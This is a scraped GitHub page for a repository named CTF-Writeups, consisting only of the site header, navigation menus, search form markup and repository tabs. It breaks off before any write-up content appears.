to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="TbTEFj5LWaqGD3d38RoACHi2Zl3pF3HKRv06MAUNXnHdUN2RRqOQATZCvFaWaox102rbQKqwS6e5eMJViG0gOg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu 